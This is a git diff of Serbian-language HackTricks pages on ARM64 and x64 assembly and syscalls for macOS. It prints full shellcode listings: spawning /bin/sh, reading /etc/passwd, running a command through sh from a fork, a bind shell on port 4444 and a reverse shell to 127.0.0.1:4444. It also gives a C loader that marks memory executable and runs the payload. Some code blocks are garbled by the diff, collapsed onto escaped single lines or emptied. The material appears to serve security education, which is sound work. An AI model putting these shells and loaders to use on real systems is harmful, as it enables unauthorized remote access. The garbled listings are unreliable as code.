- **`r12`**: Registar za unutarproceduralne pozive
|
* **`r12`**: Registar za unutarproceduralne pozive
|
||||||
- **`r13`**: Pokazivač steka
|
* **`r13`**: Pokazivač steka
|
||||||
- **`r14`**: Registar za povezivanje
|
* **`r14`**: Registar za povezivanje
|
||||||
|
|
||||||
Osim toga, registri se čuvaju u **`bankovnim registrima`**. To su mesta koja čuvaju vrednosti registara omogućavajući **brzo prebacivanje konteksta** u rukovanju izuzecima i privilegovanim operacijama kako bi se izbegla potreba za ručnim čuvanjem i vraćanjem registara svaki put.\
|
Osim toga, registri se čuvaju u **`bankovnim registrima`**. To su mesta koja čuvaju vrednosti registara omogućavajući **brzo prebacivanje konteksta** u rukovanju izuzecima i privilegovanim operacijama kako bi se izbegla potreba za ručnim čuvanjem i vraćanjem registara svaki put.\
|
||||||
Ovo se postiže **čuvanjem stanja procesora od `CPSR` do `SPSR`** režima procesora u koji se preuzima izuzetak. Prilikom povratka izuzetka, **`CPSR`** se obnavlja iz **`SPSR`**.
|
Ovo se postiže **čuvanjem stanja procesora od `CPSR` do `SPSR`** režima procesora u koji se preuzima izuzetak. Prilikom povratka izuzetka, **`CPSR`** se obnavlja iz **`SPSR`**.
|
||||||
|
@ -302,14 +322,14 @@ U AArch32, CPSR radi slično kao **`PSTATE`** u AArch64 i takođe se čuva u **`
|
||||||
|
|
||||||
Polja su podeljena u neke grupe:
|
Polja su podeljena u neke grupe:
|
||||||
|
|
||||||
- Registar statusa programa aplikacije (APSR): Aritmetičke zastavice i pristupačne iz EL0
|
* Registar statusa programa aplikacije (APSR): Aritmetičke zastavice i pristupačne iz EL0
|
||||||
- Registri stanja izvršenja: Ponašanje procesa (upravljano od strane OS-a).
|
* Registri stanja izvršenja: Ponašanje procesa (upravljano od strane OS-a).
|
||||||
|
|
||||||
#### Registar statusa programa aplikacije (APSR)
|
#### Registar statusa programa aplikacije (APSR)
|
||||||
|
|
||||||
- Zastavice **`N`**, **`Z`**, **`C`**, **`V`** (kao i u AArch64)
|
* Zastavice **`N`**, **`Z`**, **`C`**, **`V`** (kao i u AArch64)
|
||||||
- Zastava **`Q`**: Postavlja se na 1 kada se **desi zasićenje celih brojeva** tokom izvršenja specijalizovane aritmetičke instrukcije. Kada se jednom postavi na **`1`**, zadržavaće vrednost dok se ručno ne postavi na 0. Osim toga, ne postoji nijedna instrukcija koja implicitno proverava njenu vrednost, već se to mora uraditi čitanjem ručno.
|
* Zastava **`Q`**: Postavlja se na 1 kada se **desi zasićenje celih brojeva** tokom izvršenja specijalizovane aritmetičke instrukcije. Kada se jednom postavi na **`1`**, zadržavaće vrednost dok se ručno ne postavi na 0. Osim toga, ne postoji nijedna instrukcija koja implicitno proverava njenu vrednost, već se to mora uraditi čitanjem ručno.
|
||||||
- **`GE`** (Veće ili jednako) zastave: Koriste se u SIMD (Jedna instrukcija, više podataka) operacijama, poput "paralelnog sabiranja" i "paralelnog oduzimanja". Ove operacije omogućavaju obradu više podataka u jednoj instrukciji.
|
* **`GE`** (Veće ili jednako) zastave: Koriste se u SIMD (Jedna instrukcija, više podataka) operacijama, poput "paralelnog sabiranja" i "paralelnog oduzimanja". Ove operacije omogućavaju obradu više podataka u jednoj instrukciji.
|
||||||
|
|
||||||
Na primer, instrukcija **`UADD8`** **sabira četiri para bajtova** (iz dva 32-bitna operanda) paralelno i čuva rezultate u 32-bitnom registru. Zatim **postavlja `GE` zastave u `APSR`** na osnovu ovih rezultata. Svaka GE zastava odgovara jednom od sabiranja bajtova, ukazujući da li je sabiranje za taj par bajtova **prekoračilo**.
|
Na primer, instrukcija **`UADD8`** **sabira četiri para bajtova** (iz dva 32-bitna operanda) paralelno i čuva rezultate u 32-bitnom registru. Zatim **postavlja `GE` zastave u `APSR`** na osnovu ovih rezultata. Svaka GE zastava odgovara jednom od sabiranja bajtova, ukazujući da li je sabiranje za taj par bajtova **prekoračilo**.
|
||||||
|
|
||||||
|
@ -317,14 +337,14 @@ Instrukcija **`SEL`** koristi ove GE zastave za izvođenje uslovnih radnji.
|
||||||
|
|
||||||
#### Registri stanja izvršenja
|
#### Registri stanja izvršenja
|
||||||
|
|
||||||
- Bitovi **`J`** i **`T`**: **`J`** treba da bude 0, a ako je **`T`** 0 koristi se skup instrukcija A32, a ako je 1, koristi se T32.
|
* Bitovi **`J`** i **`T`**: **`J`** treba da bude 0, a ako je **`T`** 0 koristi se skup instrukcija A32, a ako je 1, koristi se T32.
|
||||||
- Registar stanja bloka IT (`ITSTATE`): Ovo su bitovi od 10-15 i 25-26. Čuvaju uslove za instrukcije unutar grupe sa prefiksom **`IT`**.
|
* Registar stanja bloka IT (`ITSTATE`): Ovo su bitovi od 10-15 i 25-26. Čuvaju uslove za instrukcije unutar grupe sa prefiksom **`IT`**.
|
||||||
- Bit **`E`**: Označava **endianness**.
|
* Bit **`E`**: Označava **endianness**.
|
||||||
- Bitovi moda i maski izuzetka (0-4): Određuju trenutno stanje izvršenja. Peti označava da li program radi kao 32-bitni (1) ili 64-bitni (0). Ostala 4 predstavljaju **trenutni korišćeni režim izuzetka** (kada se desi izuzetak i kada se rukuje njime). Broj postavljen **označava trenutni prioritet** u slučaju da se desi još jedan izuzetak dok se ovaj rukuje.
|
* Bitovi moda i maski izuzetka (0-4): Određuju trenutno stanje izvršenja. Peti označava da li program radi kao 32-bitni (1) ili 64-bitni (0). Ostala 4 predstavljaju **trenutni korišćeni režim izuzetka** (kada se desi izuzetak i kada se rukuje njime). Broj postavljen **označava trenutni prioritet** u slučaju da se desi još jedan izuzetak dok se ovaj rukuje.
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (728).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (728).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
- **`AIF`**: Određeni izuzeci mogu biti onemogućeni korišćenjem bitova **`A`**, `I`, `F`. Ako je **`A`** 1, to znači da će biti pokrenuti **asinhroni prekidi**. **`I`** konfiguriše odgovor na spoljne hardverske **zahteve za prekidima** (IRQ). i F je povezan sa **brzim zahtevima za prekidima** (FIR).
|
* **`AIF`**: Određeni izuzeci mogu biti onemogućeni korišćenjem bitova **`A`**, `I`, `F`. Ako je **`A`** 1, to znači da će biti pokrenuti **asinhroni prekidi**. **`I`** konfiguriše odgovor na spoljne hardverske **zahteve za prekidima** (IRQ). i F je povezan sa **brzim zahtevima za prekidima** (FIR).
|
||||||
|
|
||||||
## macOS
|
## macOS
|
||||||
|
|
||||||
|
@ -373,6 +393,7 @@ Parametri ([više informacija u dokumentaciji](https://developer.apple.com/docum
|
||||||
* x2... -> Ostali argumenti pozvane metode
|
* x2... -> Ostali argumenti pozvane metode
|
||||||
|
|
||||||
Dakle, ako postavite prekidnu tačku pre grananja ka ovoj funkciji, lako možete pronaći šta je pozvano u lldb-u sa (u ovom primeru objekat poziva objekat iz `NSConcreteTask` koji će pokrenuti komandu):
|
Dakle, ako postavite prekidnu tačku pre grananja ka ovoj funkciji, lako možete pronaći šta je pozvano u lldb-u sa (u ovom primeru objekat poziva objekat iz `NSConcreteTask` koji će pokrenuti komandu):
|
||||||
|
|
||||||
```
|
```
|
||||||
(lldb) po $x0
|
(lldb) po $x0
|
||||||
<NSConcreteTask: 0x1052308e0>
|
<NSConcreteTask: 0x1052308e0>
|
||||||
|
@ -389,9 +410,11 @@ Dakle, ako postavite prekidnu tačku pre grananja ka ovoj funkciji, lako možete
|
||||||
whoami
|
whoami
|
||||||
)
|
)
|
||||||
```
|
```
|
||||||
|
|
||||||
### Shellkodovi
|
### Shellkodovi
|
||||||
|
|
||||||
Za kompajliranje:
|
Za kompajliranje:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
as -o shell.o shell.s
|
as -o shell.o shell.s
|
||||||
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
|
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
|
||||||
|
@ -399,16 +422,18 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
|
||||||
# You could also use this
|
# You could also use this
|
||||||
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
|
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
|
||||||
```
|
```
|
||||||
|
|
||||||
Da izvučemo bajtove:
|
Da izvučemo bajtove:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
|
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
|
||||||
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||||
echo -n '\\x'$c
|
echo -n '\\x'$c
|
||||||
done
|
done
|
||||||
```
|
```
|
||||||
<detalji>
|
|
||||||
|
|
||||||
<sumiraj>Kod na jeziku C za testiranje shell koda</sumiraj>
|
Kod na jeziku C za testiranje shell koda
|
||||||
|
|
||||||
```c
|
```c
|
||||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||||
// gcc loader.c -o loader
|
// gcc loader.c -o loader
|
||||||
|
@ -454,12 +479,11 @@ sc();
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
#### Školjka
|
|
||||||
|
**Školjka**
|
||||||
|
|
||||||
Preuzeto sa [**ovde**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) i objašnjeno.
|
Preuzeto sa [**ovde**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) i objašnjeno.
|
||||||
|
|
||||||
{% tabs %}
|
|
||||||
{% tab title="sa adr" %}
|
|
||||||
```armasm
|
```armasm
|
||||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||||
|
@ -474,37 +498,26 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
|
||||||
|
|
||||||
sh_path: .asciz "/bin/sh"
|
sh_path: .asciz "/bin/sh"
|
||||||
```
|
```
|
||||||
{% endtab %}
|
|
||||||
|
|
||||||
{% tab title="sa stekom" %}
|
|
||||||
```armasm
|
|
||||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
|
||||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
|
||||||
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
|
|
||||||
|
|
||||||
_main:
|
|
||||||
; We are going to build the string "/bin/sh" and place it on the stack.
|
|
||||||
|
|
||||||
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
|
\`\`\`armasm .section \_\_TEXT,\_\_text ; This directive tells the assembler to place the following code in the \_\_text section of the \_\_TEXT segment. .global \_main ; This makes the \_main label globally visible, so that the linker can find it as the entry point of the program. .align 2 ; This directive tells the assembler to align the start of the \_main function to the next 4-byte boundary (2^2 = 4).
|
||||||
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
|
|
||||||
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
|
|
||||||
movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
|
|
||||||
|
|
||||||
str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
|
\_main: ; We are going to build the string "/bin/sh" and place it on the stack.
|
||||||
|
|
||||||
|
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'. movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'. movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'. movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
|
||||||
|
|
||||||
|
str x1, \[sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
|
||||||
|
|
||||||
; Prepare arguments for the execve syscall.
|
; Prepare arguments for the execve syscall.
|
||||||
|
|
||||||
mov x1, #8 ; Set x1 to 8.
|
mov x1, #8 ; Set x1 to 8. sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack. mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve. mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
|
||||||
sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
|
|
||||||
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
|
|
||||||
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
|
|
||||||
|
|
||||||
; Make the syscall.
|
; Make the syscall.
|
||||||
|
|
||||||
mov x16, #59 ; Move the execve syscall number (59) into x16.
|
mov x16, #59 ; Move the execve syscall number (59) into x16. svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
||||||
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
|
||||||
|
|
||||||
```
|
````
|
||||||
#### Čitanje pomoću cat komande
|
#### Čitanje pomoću cat komande
|
||||||
|
|
||||||
Cilj je izvršiti `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, tako da je drugi argument (x1) niz parametara (što u memoriji znači stek adresa).
|
Cilj je izvršiti `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, tako da je drugi argument (x1) niz parametara (što u memoriji znači stek adresa).
|
||||||
|
@ -532,8 +545,10 @@ svc 0 ; Make the syscall
|
||||||
cat_path: .asciz "/bin/cat"
|
cat_path: .asciz "/bin/cat"
|
||||||
.align 2
|
.align 2
|
||||||
passwd_path: .asciz "/etc/passwd"
|
passwd_path: .asciz "/etc/passwd"
|
||||||
```
|
````
|
||||||
#### Pozovite komandu sa sh iz fork-a tako da glavni proces nije ubijen
|
|
||||||
|
**Pozovite komandu sa sh iz fork-a tako da glavni proces nije ubijen**
|
||||||
|
|
||||||
```armasm
|
```armasm
|
||||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||||
.global _main ; Declare a global symbol _main
|
.global _main ; Declare a global symbol _main
|
||||||
|
@ -577,9 +592,11 @@ sh_c_option: .asciz "-c"
|
||||||
.align 2
|
.align 2
|
||||||
touch_command: .asciz "touch /tmp/lalala"
|
touch_command: .asciz "touch /tmp/lalala"
|
||||||
```
|
```
|
||||||
#### Bind shell
|
|
||||||
|
**Bind shell**
|
||||||
|
|
||||||
Bind shell sa [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) na **portu 4444**
|
Bind shell sa [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) na **portu 4444**
|
||||||
|
|
||||||
```armasm
|
```armasm
|
||||||
.section __TEXT,__text
|
.section __TEXT,__text
|
||||||
.global _main
|
.global _main
|
||||||
|
@ -661,9 +678,11 @@ mov x2, xzr
|
||||||
mov x16, #59
|
mov x16, #59
|
||||||
svc #0x1337
|
svc #0x1337
|
||||||
```
|
```
|
||||||
#### Reverse shell
|
|
||||||
|
**Reverse shell**
|
||||||
|
|
||||||
Sa [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell na **127.0.0.1:4444**
|
Sa [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell na **127.0.0.1:4444**
|
||||||
|
|
||||||
```armasm
|
```armasm
|
||||||
.section __TEXT,__text
|
.section __TEXT,__text
|
||||||
.global _main
|
.global _main
|
||||||
|
@ -730,6 +749,7 @@ mov x2, xzr
|
||||||
mov x16, #59
|
mov x16, #59
|
||||||
svc #0x1337
|
svc #0x1337
|
||||||
```
|
```
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Uvod u x64
|
# Introduction to x64
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -9,7 +9,7 @@ Drugi načini podrške HackTricks-u:
|
||||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -76,11 +76,13 @@ x64 instrukcije imaju bogat skup, održavajući kompatibilnost sa ranijim x86 in
|
||||||
1. **Pomeranje trenutnog baznog pokazivača na pokazivač steka**: `mov rsp, rbp` (dealocira lokalne promenljive)
|
1. **Pomeranje trenutnog baznog pokazivača na pokazivač steka**: `mov rsp, rbp` (dealocira lokalne promenljive)
|
||||||
2. **Izvlačenje starog baznog pokazivača sa steka**: `pop rbp` (obnavlja bazni pokazivač pozivaoca)
|
2. **Izvlačenje starog baznog pokazivača sa steka**: `pop rbp` (obnavlja bazni pokazivač pozivaoca)
|
||||||
3. **Povratak**: `ret` (vraća kontrolu pozivaocu)
|
3. **Povratak**: `ret` (vraća kontrolu pozivaocu)
|
||||||
|
|
||||||
## macOS
|
## macOS
|
||||||
|
|
||||||
### syscalls
|
### syscalls
|
||||||
|
|
||||||
Postoje različite klase syscalls, možete ih **pronaći ovde**.
|
Postoje različite klase syscalls, možete ih **pronaći ovde**.
|
||||||
|
|
||||||
```c
|
```c
|
||||||
#define SYSCALL_CLASS_NONE 0 /* Invalid */
|
#define SYSCALL_CLASS_NONE 0 /* Invalid */
|
||||||
#define SYSCALL_CLASS_MACH 1 /* Mach */
|
#define SYSCALL_CLASS_MACH 1 /* Mach */
|
||||||
|
@ -89,7 +91,9 @@ Postoje različite klase syscalls, možete ih **pronaći ovde**.
|
||||||
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
|
#define SYSCALL_CLASS_DIAG 4 /* Diagnostics */
|
||||||
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
|
#define SYSCALL_CLASS_IPC 5 /* Mach IPC */
|
||||||
```
|
```
|
||||||
|
|
||||||
Zatim, možete pronaći broj svakog sistemskog poziva [**na ovoj adresi**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:**
|
Zatim, možete pronaći broj svakog sistemskog poziva [**na ovoj adresi**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:**
|
||||||
|
|
||||||
```c
|
```c
|
||||||
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
|
0 AUE_NULL ALL { int nosys(void); } { indirect syscall }
|
||||||
1 AUE_EXIT ALL { void exit(int rval); }
|
1 AUE_EXIT ALL { void exit(int rval); }
|
||||||
|
@ -106,6 +110,7 @@ Zatim, možete pronaći broj svakog sistemskog poziva [**na ovoj adresi**](https
|
||||||
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
|
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
|
||||||
[...]
|
[...]
|
||||||
```
|
```
|
||||||
|
|
||||||
Dakle, da biste pozvali `open` sistemski poziv (**5**) iz **Unix/BSD klase**, morate ga dodati: `0x2000000`
|
Dakle, da biste pozvali `open` sistemski poziv (**5**) iz **Unix/BSD klase**, morate ga dodati: `0x2000000`
|
||||||
|
|
||||||
Dakle, broj sistemskog poziva za pozivanje `open` bi bio `0x2000005`
|
Dakle, broj sistemskog poziva za pozivanje `open` bi bio `0x2000005`
|
||||||
|
@ -138,59 +143,42 @@ otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g'
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>C kod za testiranje shell koda</summary>
|
<summary>C kod za testiranje shell koda</summary>
|
||||||
```c
|
|
||||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
|
||||||
// gcc loader.c -o loader
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <sys/mman.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
|
|
||||||
int (*sc)();
|
\`\`\`c // code from https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include
|
||||||
|
|
||||||
char shellcode[] = "<INSERT SHELLCODE HERE>";
|
int (\*sc)();
|
||||||
|
|
||||||
int main(int argc, char **argv) {
|
char shellcode\[] = "";
|
||||||
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
|
|
||||||
|
|
||||||
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
|
int main(int argc, char \*\*argv) { printf("\[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
|
||||||
|
|
||||||
if (ptr == MAP_FAILED) {
|
void \*ptr = mmap(0, 0x1000, PROT\_WRITE | PROT\_READ, MAP\_ANON | MAP\_PRIVATE | MAP\_JIT, -1, 0);
|
||||||
perror("mmap");
|
|
||||||
exit(-1);
|
|
||||||
}
|
|
||||||
printf("[+] SUCCESS: mmap\n");
|
|
||||||
printf(" |-> Return = %p\n", ptr);
|
|
||||||
|
|
||||||
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
|
if (ptr == MAP\_FAILED) { perror("mmap"); exit(-1); } printf("\[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);
|
||||||
printf("[+] SUCCESS: memcpy\n");
|
|
||||||
printf(" |-> Return = %p\n", dst);
|
|
||||||
|
|
||||||
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
|
void \*dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("\[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);
|
||||||
|
|
||||||
if (status == -1) {
|
int status = mprotect(ptr, 0x1000, PROT\_EXEC | PROT\_READ);
|
||||||
perror("mprotect");
|
|
||||||
exit(-1);
|
|
||||||
}
|
|
||||||
printf("[+] SUCCESS: mprotect\n");
|
|
||||||
printf(" |-> Return = %d\n", status);
|
|
||||||
|
|
||||||
printf("[>] Trying to execute shellcode...\n");
|
if (status == -1) { perror("mprotect"); exit(-1); } printf("\[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);
|
||||||
|
|
||||||
sc = ptr;
|
printf("\[>] Trying to execute shellcode...\n");
|
||||||
sc();
|
|
||||||
|
|
||||||
return 0;
|
sc = ptr; sc();
|
||||||
}
|
|
||||||
```
|
return 0; }
|
||||||
|
|
||||||
|
````
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
#### Shell
|
#### Shell
|
||||||
|
|
||||||
Preuzeto sa [**ovde**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) i objašnjeno.
|
Preuzeto sa [**ovde**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) i objašnjeno.
|
||||||
|
|
||||||
{% tabs %}
|
<div data-gb-custom-block data-tag="tabs">
|
||||||
{% tab title="sa adr" %}
|
|
||||||
|
<div data-gb-custom-block data-tag="tab" data-title='sa adr'></div>
|
||||||
|
|
||||||
```armasm
|
```armasm
|
||||||
bits 64
|
bits 64
|
||||||
global _main
|
global _main
|
||||||
|
@ -204,8 +192,8 @@ push 59 ; put 59 on the stack (execve syscall)
|
||||||
pop rax ; pop it to RAX
|
pop rax ; pop it to RAX
|
||||||
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
|
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
|
||||||
syscall
|
syscall
|
||||||
```
|
````
|
||||||
{% tab title="sa stekom" %}
|
|
||||||
```armasm
|
```armasm
|
||||||
bits 64
|
bits 64
|
||||||
global _main
|
global _main
|
||||||
|
@ -221,12 +209,11 @@ pop rax ; pop it to RAX
|
||||||
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
|
bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
|
||||||
syscall
|
syscall
|
||||||
```
|
```
|
||||||
{% endtab %}
|
|
||||||
{% endtabs %}
|
|
||||||
|
|
||||||
#### Čitanje sa cat
|
**Čitanje sa cat**
|
||||||
|
|
||||||
Cilj je izvršiti `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, tako da je drugi argument (x1) niz parametara (što u memoriji znači stog adresa).
|
Cilj je izvršiti `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, tako da je drugi argument (x1) niz parametara (što u memoriji znači stog adresa).
|
||||||
|
|
||||||
```armasm
|
```armasm
|
||||||
bits 64
|
bits 64
|
||||||
section .text
|
section .text
|
||||||
|
@ -257,7 +244,8 @@ section .data
|
||||||
cat_path: db "/bin/cat", 0
|
cat_path: db "/bin/cat", 0
|
||||||
passwd_path: db "/etc/passwd", 0
|
passwd_path: db "/etc/passwd", 0
|
||||||
```
|
```
|
||||||
#### Pokretanje komande sa sh
|
|
||||||
|
**Pokretanje komande sa sh**
|
||||||
|
|
||||||
Da biste pokrenuli komandu sa `sh` na macOS-u, možete koristiti sledeću sintaksu:
|
Da biste pokrenuli komandu sa `sh` na macOS-u, možete koristiti sledeću sintaksu:
|
||||||
|
|
||||||
|
@ -272,6 +260,7 @@ sh -c "ls -la"
|
||||||
```
|
```
|
||||||
|
|
||||||
Ova sintaksa će izvršiti komandu `ls -la` koristeći `sh` interpretator na macOS-u.
|
Ova sintaksa će izvršiti komandu `ls -la` koristeći `sh` interpretator na macOS-u.
|
||||||
|
|
||||||
```armasm
|
```armasm
|
||||||
bits 64
|
bits 64
|
||||||
section .text
|
section .text
|
||||||
|
@ -309,9 +298,11 @@ sh_path: db "/bin/sh", 0
|
||||||
sh_c_option: db "-c", 0
|
sh_c_option: db "-c", 0
|
||||||
touch_command: db "touch /tmp/lalala", 0
|
touch_command: db "touch /tmp/lalala", 0
|
||||||
```
|
```
|
||||||
#### Bind shell
|
|
||||||
|
**Bind shell**
|
||||||
|
|
||||||
